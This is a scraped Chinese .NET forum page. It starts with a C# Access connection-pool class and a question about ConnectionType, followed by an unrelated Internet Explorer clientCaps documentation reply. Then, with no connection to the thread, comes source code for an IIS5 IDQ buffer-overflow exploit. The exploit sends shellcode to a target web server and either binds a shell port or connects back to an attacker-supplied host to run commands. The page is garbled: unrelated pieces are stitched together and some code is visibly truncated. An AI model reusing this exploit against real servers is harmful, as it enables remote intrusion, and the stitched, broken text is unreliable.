Access数据库连接池 ConnectionType connectType 是枚举?

kke_007 2009-12-22 04:31:44
/// <summary>

/// 连接对象。

/// </summary>

public class Pool

{

/// <summary>

/// 初始化。

/// </summary>

/// <param name="id">代码。</param>

/// <param name="connection">数据库连接对象。</param>

/// <param name="isUse">使用标志。</param>

/// <param name="openTime">打开时间。</param>

public Pool(Guid id, IDbConnection connection, bool isUse, DateTime openTime)

{

this.id = id;

this.connection = connection;

IsUse = isUse;

OpenTime = openTime;

}



private Guid id;

/// <summary>

/// 获取连接对象的代码。

/// </summary>

public Guid Id { get { return id; } }



private IDbConnection connection;

/// <summary>

/// 获取数据库连接对象。

/// </summary>

public IDbConnection Connection { get { return connection; } }



/// <summary>

/// 获取或设置一个值,该值指示连接对象是否已经使用,true-已经使用,否则没有使用。

/// </summary>

public bool IsUse { get; set; }

/// <summary>

/// 获取或设置连接对象打开数据库的时间。

/// </summary>

public DateTime OpenTime { get; set; }

}



/// <summary>

/// 连接池管理类。

/// </summary>

public static class ConnectionPool

{

private static List<Pool> pools = new List<Pool>();

private static int poolTimeout = 300;

private static int maxPoolSize = 200;

private static string connectString = "";

private static bool getParam = false;



static ConnectionPool()

{

}



/// <summary>

/// 获取参数。

/// </summary>

/// <param name="connectionString">配置文件中的数据库连接字符串。</param>

private static void GetParams(string connectionString)

{

string[] connectStrings = connectionString.Split(';');

StringBuilder newConnectString = new StringBuilder();

foreach (string subConnectString in connectStrings)

{

if (subConnectString.IndexOf("Provider", StringComparison.InvariantCultureIgnoreCase) != -1 ||

subConnectString.IndexOf("Data Source", StringComparison.InvariantCultureIgnoreCase) != -1)

{

newConnectString.Append(subConnectString);

newConnectString.Append(";");

}

if (subConnectString.IndexOf("Max Pool Size", StringComparison.InvariantCultureIgnoreCase) != -1)

{

string[] poolSizeses = subConnectString.Split('=');

maxPoolSize = int.Parse(poolSizeses[1]);

}

if (subConnectString.IndexOf("Connect Timeout", StringComparison.InvariantCultureIgnoreCase) != -1)

{

string[] timeouts = subConnectString.Split('=');

poolTimeout = int.Parse(timeouts[1]);

}

}

connectString = newConnectString.ToString();

getParam = true;

}



/// <summary>

/// 根据数据库类型创建数据库。

/// </summary>

/// <param name="connectType">数据库连接类型。</param>

/// <returns>指定数据库连接类型的数据库连接对象。</returns>

private static IDbConnection CreateConnection(ConnectionType connectType)

{

switch (connectType)

{

case ConnectionType.OleConnectionType:

return new OleDbConnection(connectString);

default:

throw new Exception("此数据库类型不能使用此连接池。");

}

}



/// <summary>

/// 根据数据库连接字符串及数据库类型创建连接对象。

/// </summary>

/// <param name="connectionString">数据库连接字符串。</param>

/// <param name="connectType">数据库类型。</param>

/// <returns>连接对象。</returns>

public static Pool Open(string connectionString, ConnectionType connectType)

{

lock (typeof(ConnectionPool))

{

if (!getParam)

{

GetParams(connectionString);

}

foreach (Pool pool in pools)

{

if (!pool.IsUse)

{

pool.IsUse = true;

pool.OpenTime = DateTime.Now;

return pool;

}

}

if (pools.Count >= maxPoolSize)

{

throw new Exception("连接池的连接数已经超过最大值,不能再提供数据库连接。");

}

Pool newPool = new Pool(Guid.NewGuid(), CreateConnection(connectType), true, DateTime.Now);

pools.Add(newPool);

newPool.Connection.Open();

return newPool;

}

}



/// <summary>

/// 关闭数据库连接。

/// </summary>

/// <param name="closePool">需要关闭的连接池对象。</param>

public static void Close(Pool closePool)

{

for (int num = pools.Count - 1; num >= 0; num--)

{

if (pools[num].Id == closePool.Id)

{

pools[num].IsUse = false;

}

else

{

if (pools[num].IsUse)

{

continue;

}

TimeSpan time = DateTime.Now - pools[num].OpenTime;

if (time.TotalSeconds > poolTimeout)

{

pools[num].Connection.Close();

pools.Remove(pools[num]);

}

}

}

}

}


在网上看的。这个连接池好像很不错
ConnectionType connectType 是什么来的??
...全文
158 4 打赏 收藏 转发到动态 举报
写回复
用AI写文章
4 条回复
切换为时间正序
请发表友善的回复…
发表回复
kke_007 2009-12-22
  • 打赏
  • 举报
回复
帮帮解释一下啊!
kke_007 2009-12-22
  • 打赏
  • 举报
回复
英文。不好.能用中文解释清楚吗?
silentwins 2009-12-22
  • 打赏
  • 举报
回复
connectionType Property

--------------------------------------------------------------------------------

Retrieves the type of connection in use.

Syntax

XML N/A
Scripting [ sConnectionType = ] clientCaps.connectionType

Possible Values

sConnectionType String that receives one of the following values: lan User is connected through a network.
modem User is connected through a modem.
offline User is working offline.


The property is read-only. The property has no default value.


HTML xmlns:IE>
<HEAD>
<STYLE>
@media all {
IE\:CLIENTCAPS {behavior:url(#default#clientCaps)}
}
</STYLE>

<SCRIPT>
function window.onload()
{
sTempStr = "availHeight = " + oClientCaps.availHeight + "\n" +
"availWidth = " + oClientCaps.availWidth + "\n" +
"bufferDepth = " + oClientCaps.bufferDepth + "\n" +
"colorDepth = " + oClientCaps.colorDepth + "\n" +
"connectionType = " + oClientCaps.connectionType + "\n" +
"cookieEnabled = " + oClientCaps.cookieEnabled + "\n" +
"cpuClass = " + oClientCaps.cpuClass + "\n" +
"height = " + oClientCaps.height + "\n" +
"javaEnabled = " + oClientCaps.javaEnabled + "\n" +
"platform = " + oClientCaps.platform + "\n" +
"systemLanguage = " + oClientCaps.systemLanguage + "\n" +
"userLanguage = " + oClientCaps.userLanguage + "\n" +
"width = " + oClientCaps.width + "\n" ;

oPre.innerText = sTempStr;
}
</SCRIPT>

</HEAD>
<BODY>
<H1>clientCaps Behavior Sample</H1>

<P>This example shows how to use the new <B>clientCaps</B>
behavior, introduced in Microsoft Internet Explorer 5, to obtain
client capabilities information. The following is a sampling of the
information that can be obtained:</P>

<IE:CLIENTCAPS ID="oClientCaps" />

<PRE id="oPre"></PRE>
</BODY>
</HTML>
Lovely_baby 2009-12-22
  • 打赏
  • 举报
回复
不知道~~
IIS5_IDQ溢出。。。从Internet上学习到的,也让他回归internet.

 

文件结构:

cpp文件: iisidqoverflow.cpp 和 SkShellCodeFunc.cpp
头文件: SkShellCodeFunc.h
功能文件: WSAStart.cpp和SnakeSocket.cpp wsastart.h snakesocket.h(这4个文件不提供...因为,他们实现的只是WSAStart和socket的功能,你要成功编译本程序,必须自己替换相关的WSAStart和socket功能的代码.特此声明!)
中间文件: iis_idq.asm --用来实现shellcode数据的文件,编译的时候,不必编译,只是为了中间产生shellcode数据.它实现了溢出后,程序的处理:创建一个进程,并且绑定一个端口。这个还可以用于其他的windows溢出.
 

文件1:iisidqoverflow.cpp (主文件)



#include
#include "snakesocket.h"
#include "wsastart.h"
#include "SkShellCodeFunc.h"

//function predeclare.
//取得 需要 地址 信息
void GetNecesProcAddr( char *szInfo, int iMaxSize);
//生成我的 shell code代码.
int Sk_Make_IIS5_IDQ_ShellCode(char *pszOutput, SYSTEM_TYPE SystemType, ConnectStruct *pConnectStruct, LPCTSTR lpszBindCmd);


//宣示帮助.
void ShowHelp()
{
int i;

printf("运行参数: 操作系统类型 目的地址 web端口 1 溢出监听端口 <输入命令1>\r\n");
printf(" 或者: 操作系统类型 目的地址 web端口 2 溢出连接IP 溢出连接端口 <输入命令1>\r\n");
printf("\r\n\r\n 其中,如果输入命令参数没有输入,那么,默认为:\"cmd.exe /c + dir\"");
printf("\r\n 如果为1,那么,将输入新的命令.");

printf("\r\n\r\n支持的操作系统 类型: ----\r\n");

for( i=0; i 0){
send( msocket, szBuff, iLen, 0);
}

return (iLen>0)?true:false;
}

int main(int argc, char *argv[])
{
CWSAStart wsaStart;
CSnakeSocket snakeSocket;
WORD wPort;
DWORD dwIP;

if( argc > 1){
if( stricmp( argv[1], "GetAddr") == 0){
char szTemp[12048];
GetNecesProcAddr(szTemp, sizeof(szTemp) );

printf("%s\r\n",szTemp);

OSVERSIONINFO osInfo;

osInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
GetVersionEx( &osInfo);
printf("Version: %d - %d. Build:%d. ID:%d\r\n[%s]\r\n",
osInfo.dwMajorVersion, osInfo.dwMinorVersion,
osInfo.dwBuildNumber, osInfo.dwPlatformId,
osInfo.szCSDVersion);
return 0;
}
}
if( argc < 5){
ShowHelp();
return 0;
}
wsaStart.StartUP();

SYSTEM_TYPE SystemType = (SYSTEM_TYPE)atoi(argv[1]);
if( SystemType >= MAX_SYSTEM_TYPE_NUM){
printf("操作系统类型 不正确.\r\n");
ShowHelp();
return 0;
}
dwIP = snakeSocket.GetHostAddr( argv[2]);
if( dwIP == 0){
printf("输入地址不对.\r\n");
return 0;
}

Sk_ConnectType connectType;
ConnectStruct connectStruct;
char szCommand[129]="cmd.exe /c dir c:\\";
BOOL bInputCommand=false;

connectType = (Sk_ConnectType)atoi(argv[4]);
connectStruct.byConnectType = connectType;
switch(connectType){
case LISTEN_ON_PORT:
connectStruct.wListenPort = atoi(argv[5]);
if( argc >= 7){
bInputCommand = true;
}
break;
case CONNECT_TO_HOST:
if( argc < 6){
printf("参数不足够.\r\n");
return 0;
}
connectStruct.dwConnectIP = snakeSocket.GetHostAddr(argv[5]);
connectStruct.wConnectPort = atoi(argv[6]);
if( argc >= 8){
bInputCommand = true;
}
break;
default:
printf("溢出类型不正确.\r\n");
return 0;
}

if( bInputCommand){
printf("\r\n请输入绑定的命令:");
scanf( "%s",szCommand);
}

snakeSocket.CreateSocket();
wPort = atoi(argv[3]);

if( !snakeSocket.connect( argv[2], wPort)){
printf("连接目的机器 %s:%d 失败.\r\n", argv[2], wPort);
return 0;
}
else
printf("连接目的机器 %s:%d OK.\r\n", argv[2], wPort);

BOOL bValue = SendIDQExploit( snakeSocket.m_Socket, SystemType, &connectStruct, szCommand);

if( bValue){
printf( "发送shellcode 到 %s:%d OK\r\n", argv[2], wPort);
printf(" 现在,如果系统类型正确,并且漏洞存在,那么,应该 可以得到 [%s] 结果了...,good luck.!", szCommand);
}
else{
printf( "发送失败, 对方系统类型不支持\r\n");
}

snakeSocket.CloseSocket();
wsaStart.CleanUP();

return 0;
}

62,046

社区成员

发帖
与我相关
我的任务
社区描述
.NET技术交流专区
javascript云原生 企业社区
社区管理员
  • ASP.NET
  • .Net开发者社区
  • R小R
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告

.NET 社区是一个围绕开源 .NET 的开放、热情、创新、包容的技术社区。社区致力于为广大 .NET 爱好者提供一个良好的知识共享、协同互助的 .NET 技术交流环境。我们尊重不同意见,支持健康理性的辩论和互动,反对歧视和攻击。

希望和大家一起共同营造一个活跃、友好的社区氛围。

试试用AI创作助手写篇文章吧